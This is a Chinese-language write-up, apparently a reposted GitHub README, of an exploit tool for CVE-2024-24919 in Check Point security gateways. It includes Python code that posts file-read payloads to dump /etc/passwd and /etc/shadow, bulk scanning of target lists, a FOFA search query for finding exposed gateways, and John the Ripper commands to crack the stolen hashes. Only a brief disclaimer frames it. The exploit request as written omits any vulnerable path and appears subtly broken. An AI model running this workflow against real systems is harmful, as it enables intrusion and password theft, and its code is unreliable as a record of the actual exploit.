Check Point安全网关信息泄露检测工具 (CVE-2024-24919)

6 阅读3分钟

Check Point Security Gateways Information Disclosure - CVE-2024-24919

一个用于检测和利用CVE-2024-24919漏洞的安全测试工具,该漏洞影响启用了Remote Access VPN或Mobile Access Software Blades的Check Point安全网关。

功能特性

  • 漏洞检测:自动检测目标是否存在CVE-2024-24919信息泄露漏洞
  • 敏感信息提取:成功利用后可读取系统的passwd和shadow文件
  • 批量扫描:支持从文件中读取多个目标进行批量检测
  • 密码破解集成:提供与JohnTheRipper工具的集成示例,可破解提取的密码哈希
  • SSL绕过:自动处理SSL证书验证问题

安装指南

系统要求

  • Python 3.6+
  • pip包管理器

依赖安装

pip install requests colorama

克隆仓库

git clone https://github.com/verylazytech/CVE-2024-24919
cd CVE-2024-24919

使用说明

基础用法

  1. 准备目标列表:创建list.txt文件,每行一个目标URL
https://192.168.1.1
https://203.0.113.5
  1. 运行检测脚本
python3 CVE-2024-24919.py -l list.txt

典型工作流程

  1. 扫描目标:脚本会检测每个目标是否存在漏洞
  2. 提取文件:成功利用后自动保存passwd和shadow文件
  3. 合并文件:使用unshadow工具合并文件
unshadow passwd shadow > unshadowed.txt
  1. 破解密码:使用JohnTheRipper破解哈希
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

目标发现

使用FOFA搜索引擎查找潜在目标:

  • FOFA语法: app="Check_Point-SSL-Network-Extender"

输出说明

  • 成功:显示漏洞确认信息,保存提取的文件
  • 失败:显示目标未受影响或无法利用

核心代码

漏洞检测核心模块

import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from colorama import Fore, Style
import random

# 颜色配置
green = Fore.GREEN
cyan = Fore.CYAN
red = Fore.RED
reset = Style.RESET_ALL
bold = Style.BRIGHT

# 抑制SSL警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# 漏洞特征字符串
vuln = ['root:', 'nobody:']

def banner():
    """显示工具横幅"""
    random_color = random.choice([green, cyan, Fore.BLUE])
    banner_text = f"""{bold}{random_color}
  ______     _______   ____   ___ ____  _  _        ____  _  _   ___  _  ___  
 / ___\ \   / / ____| |___ \ / _ \___ \| || |      |___ \| || | / _ \/ |/ _ \ 
| |    \ \ / /|  _|     __) | | | |__) | || |_ _____ __) | || || (_) | | (_) |
| |___  \ V / | |___   / __/| |_| / __/|__   _|_____/ __/|__   _\__, | |\__, |
 \____|  \_/  |_____| |_____|\___/_____|  |_|      |_____|  |_|   /_/|_|  /_/ 
                                                                              
__     __                _                      _____         _     
\ \   / /__ _ __ _   _  | |    __ _ _____   _  |_   _|__  ___| |__  
 \ \ / / _ \ '__| | | | | |   / _` |_  / | | |   | |/ _ \/ __| '_ \ 
  \ V /  __/ |  | |_| | | |__| (_| |/ /| |_| |   | |  __/ (__| | | |
   \_/ \___|_|   \__, | |_____\__,_/___|\__, |   |_|\___|\___|_| |_|
                 |___/                  |___/                
                 
                    {bold}{Fore.WHITE}@VeryLazyTech - Medium {reset}\n"""
    return banner_text

请求发送函数

def make_request(url, payload=None, headers=None):
    """
    向目标发送HTTP请求
    
    参数:
        url: 目标URL
        payload: POST请求的数据
        headers: 自定义请求头
    
    返回:
        Response对象或None
    """
    try:
        response = requests.post(url, data=payload, headers=headers, verify=False)
        if response.ok:
            # 检查响应中是否包含漏洞特征
            for word in vuln:
                if word in response.text:
                    print(f"[+] {url} is vulnerable")
                    # 处理提取到的敏感信息
                    if payload:
                        if "etc/shadow" in str(payload):
                            # 保存shadow文件内容
                            with open("shadow", "w") as f:
                                f.write(response.text)
                    return response
        return None
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return None

主程序逻辑

def main():
    parser = argparse.ArgumentParser(description='CVE-2024-24919 Check Point Security Gateways Exploit')
    parser.add_argument('-l', '--list', help='File containing list of targets')
    parser.add_argument('-u', '--url', help='Single target URL')
    args = parser.parse_args()
    
    targets = []
    if args.list:
        with open(args.list, 'r') as f:
            targets = [line.strip() for line in f if line.strip()]
    elif args.url:
        targets = [args.url]
    else:
        print("[-] Please provide a target using -u or -l")
        return
    
    print(banner())
    print(f"[*] Loaded {len(targets)} targets")
    
    for target in targets:
        print(f"\n[*] Testing: {target}")
        # 构造漏洞利用payload
        payload = {
            'file': '/etc/passwd'
        }
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        }
        
        result = make_request(target, payload, headers)
        if result:
            print(f"[+] Successfully exploited {target}")
            # 尝试读取shadow文件
            shadow_payload = {
                'file': '/etc/shadow'
            }
            make_request(target, shadow_payload, headers)

密码破解集成

# 合并passwd和shadow文件
unshadow passwd shadow > unshadowed.txt

# 使用JohnTheRipper破解
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

# 查看破解结果
john --show unshadowed.txt

注意事项

  • 本工具仅用于教育和授权测试目的
  • 未经授权使用本工具攻击目标属于违法行为
  • 使用者需遵守所有适用的法律法规
  • 开发者不对工具的滥用或造成的任何损害承担责任 6HFtX5dABrKlqXeO5PUv/3wRaoBMT8UmylM/Kt8Y0Bk=